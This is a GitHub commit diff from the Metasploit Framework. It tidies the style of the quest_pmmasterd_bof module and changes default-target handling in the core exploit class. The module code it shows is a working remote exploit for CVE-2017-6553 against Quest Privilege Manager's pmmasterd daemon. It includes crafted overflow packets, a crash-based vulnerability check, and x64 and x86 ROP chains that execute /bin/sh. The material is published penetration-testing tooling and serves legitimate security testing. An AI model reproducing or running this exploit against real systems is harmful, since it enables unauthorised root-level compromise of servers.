Skip to content

Commit 69755f6

Browse files
committed
Land rapid7#8370, msftidy fixes for quest_pmmasterd_bof
2 parents e8aed42 + e414bdb commit 69755f6

File tree

2 files changed

+72
-65
lines changed

2 files changed

+72
-65
lines changed

lib/msf/core/exploit.rb

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -287,14 +287,17 @@ def initialize(info = {})
287287
# to the information hash.
288288
super(info)
289289

290-
self.default_target = info['DefaultTarget'] || 0
291-
292-
# Add an auto-target to the exploit if it doesn't have one
293-
if info['Targets'] && info['Targets'].count > 1 && !has_auto_target?(info['Targets'])
294-
# Finally, only add the target if there is a remote host option
295-
if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index)
296-
auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])]
297-
info['Targets'].unshift(auto)
290+
if info.key? 'DefaultTarget'
291+
self.default_target = info['DefaultTarget']
292+
else
293+
self.default_target = 0
294+
# Add an auto-target to the exploit if it doesn't have one
295+
if info['Targets'] && info['Targets'].count > 1 && !has_auto_target?(info['Targets'])
296+
# Finally, only add the target if there is a remote host option
297+
if self.respond_to?(:rhost) && self.respond_to?(:auto_targeted_index)
298+
auto = ["Automatic", {'AutoGenerated' => true}.merge(info['Targets'][self.default_target][1])]
299+
info['Targets'].unshift(auto)
300+
end
298301
end
299302
end
300303

modules/exploits/linux/misc/quest_pmmasterd_bof.rb

Lines changed: 61 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = NormalRanking
108

@@ -15,16 +13,18 @@ def initialize(info = {})
1513
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
1614
'Description' => %q{
1715
This modules exploits a buffer overflow in the Quest Privilege Manager,
18-
a software used to integrate Active Directory with Linux and Unix systems.
19-
The vulnerability exists in the pmmasterd daemon, and can only triggered when
20-
the host has been configured as a policy server ( Privilege Manager for Unix
21-
or Quest Sudo Plugin). A buffer overflow condition exists when handling
22-
requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
23-
controlled by the attacker. This module only works against version < 6.0.0-27.
24-
Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required).
25-
NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 )
26-
as the server refuses connections coming from unprivileged ports, which in most situations
27-
means that root privileges are required.
16+
a software used to integrate Active Directory with Linux and Unix
17+
systems. The vulnerability exists in the pmmasterd daemon, and can only
18+
triggered when the host has been configured as a policy server (
19+
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
20+
condition exists when handling requests of type ACT_ALERT_EVENT, where
21+
the size of a memcpy can be controlled by the attacker. This module
22+
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
23+
vulnerable, but not supported by this module (a stack cookie bypass is
24+
required). NOTE: To use this module it is required to be able to bind a
25+
privileged port ( <=1024 ) as the server refuses connections coming
26+
from unprivileged ports, which in most situations means that root
27+
privileges are required.
2828
},
2929
'Author' =>
3030
[
@@ -33,11 +33,10 @@ def initialize(info = {})
3333
'References' =>
3434
[
3535
['CVE', '2017-6553'],
36-
['URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
36+
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
3737
],
3838
'Payload' =>
3939
{
40-
'BadChars' => "",
4140
'Compat' =>
4241
{
4342
'PayloadType' => 'cmd',
@@ -50,41 +49,49 @@ def initialize(info = {})
5049
[
5150
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
5251
{
53-
:exploit => :exploit_x64,
54-
:check => :check_x64
52+
exploit: :exploit_x64,
53+
check: :check_x64
5554
}
5655
],
5756
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
5857
{
59-
:exploit => :exploit_x86,
60-
:check => :check_x86
58+
exploit: :exploit_x86,
59+
check: :check_x86
6160
}
6261
]
6362
],
6463
'Privileged' => true,
6564
'DisclosureDate' => 'Apr 09 2017',
66-
'DefaultTarget' => 1
67-
))
68-
69-
register_options([ Opt::RPORT(12345) ], self.class)
70-
register_options( [ Opt::CPORT(rand(1024))], self.class )
65+
'DefaultTarget' => 0
66+
)
67+
)
68+
69+
register_options(
70+
[
71+
Opt::RPORT(12345),
72+
Opt::CPORT(rand(1024))
73+
]
74+
)
7175
end
7276

73-
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
77+
# definitely not stealthy! sends a crashing request, if the socket dies, or
78+
# the output is partial it assumes the target has crashed. Although the
79+
# daemon spawns a new process for each connection, the segfault will appear
80+
# on syslog
7481
def check
75-
unless self.respond_to?(target[:check], true)
82+
unless respond_to?(target[:check], true)
7683
fail_with(Failure::NoTarget, "Invalid target specified")
7784
end
7885

79-
return self.send(target[:check])
86+
send(target[:check])
8087
end
8188

8289
def exploit
83-
unless self.respond_to?(target[:exploit], true)
90+
unless respond_to?(target[:exploit], true)
8491
fail_with(Failure::NoTarget, "Invalid target specified")
8592
end
8693

87-
request = self.send(target[:exploit])
94+
request = send(target[:exploit])
8895

8996
connect
9097
print_status("Sending trigger")
@@ -95,12 +102,12 @@ def exploit
95102
disconnect
96103
end
97104

98-
#server should crash after parsing the packet, partial output is returned
105+
# server should crash after parsing the packet, partial output is returned
99106
def check_x64
100107
head = [ 0x26c ].pack("N")
101108
head << [ 0x700 ].pack("N")
102109
head << [ 0x700 ].pack("N")
103-
head << "\x00"*68
110+
head << "\x00" * 68
104111

105112
body = "PingE4.6 .0.0.27"
106113
body << rand_text_alpha(3000)
@@ -111,19 +118,19 @@ def check_x64
111118
print_status("Sending trigger")
112119
sock.put(request)
113120
res = sock.timed_read(1024, 1)
114-
if res.match("Pong4$")
121+
if res.match? "Pong4$"
115122
return Exploit::CheckCode::Appears
116123
else
117124
return Exploit::CheckCode::Unknown
118125
end
119126
end
120127

121-
#server should crash while parsing the packet, with no output
128+
# server should crash while parsing the packet, with no output
122129
def check_x86
123130
head = [ 0x26c ].pack("N")
124131
head << [ 0x700 ].pack("N")
125132
head << [ 0x700 ].pack("N")
126-
head << "\x00"*68
133+
head << "\x00" * 68
127134

128135
body = rand_text_alpha(3000)
129136

@@ -133,7 +140,7 @@ def check_x86
133140
print_status("Sending trigger")
134141
sock.put(request)
135142
begin
136-
res = sock.timed_read(1024, 1)
143+
sock.timed_read(1024, 1)
137144
return Exploit::CheckCode::Unknown
138145
rescue ::Exception
139146
return Exploit::CheckCode::Appears
@@ -144,38 +151,37 @@ def exploit_x64
144151
head = [ 0x26c ].pack("N")
145152
head << [ 0x700 ].pack("N")
146153
head << [ 0x700 ].pack("N")
147-
head << "\x00"*68
154+
head << "\x00" * 68
148155

149-
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
156+
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
150157
ropchain = [
151-
0x408f88, # pop rdi, ret
152-
0x4FA215, # /bin/sh
153-
0x40a99e, # pop rsi ; ret
154-
0, # argv @rsi
155-
0x40c1a0, # pop rax, ret
156-
0, # envp @rax
157-
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
158-
0xcacc013, # padding
159-
0x408a98, # execve,
160-
0
158+
0x408f88, # pop rdi, ret
159+
0x4FA215, # /bin/sh
160+
0x40a99e, # pop rsi ; ret
161+
0, # argv @rsi
162+
0x40c1a0, # pop rax, ret
163+
0, # envp @rax
164+
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
165+
0xcacc013, # padding
166+
0x408a98, # execve,
167+
0
161168
].pack("Q*")
162169

163170
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
164171
body << rand_text_alpha(1600)
165172
body << ropchain
166-
body << rand_text_alpha(0x700 - body.size())
167-
168-
return head + body
173+
body << rand_text_alpha(0x700 - body.size)
169174

175+
head + body
170176
end
171177

172178
def exploit_x86
173179
head = [ 0x26c ].pack("N")
174180
head << [ 0x108 ].pack("N")
175181
head << [ 0xcc ].pack("N")
176-
head << "\x00"*68
182+
head << "\x00" * 68
177183

178-
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
184+
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
179185
ropchain = [
180186
0x8093262, # ret
181187
0x73, # cs reg
@@ -192,15 +198,13 @@ def exploit_x86
192198
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
193199
body << rand_text_alpha(104)
194200
body << ropchain
195-
body << rand_text_alpha(0xb4 - body.size())
201+
body << rand_text_alpha(0xb4 - body.size)
196202
body << [0x50].pack("V")
197-
body << rand_text_alpha(0xc4 - body.size())
203+
body << rand_text_alpha(0xc4 - body.size)
198204
body << [pivotback].pack("V")
199205
body << [writable].pack("V")
200-
body << rand_text_alpha(0x108 - body.size())
206+
body << rand_text_alpha(0x108 - body.size)
201207

202-
return head + body
208+
head + body
203209
end
204-
205210
end
206-

0 commit comments

Comments
 (0)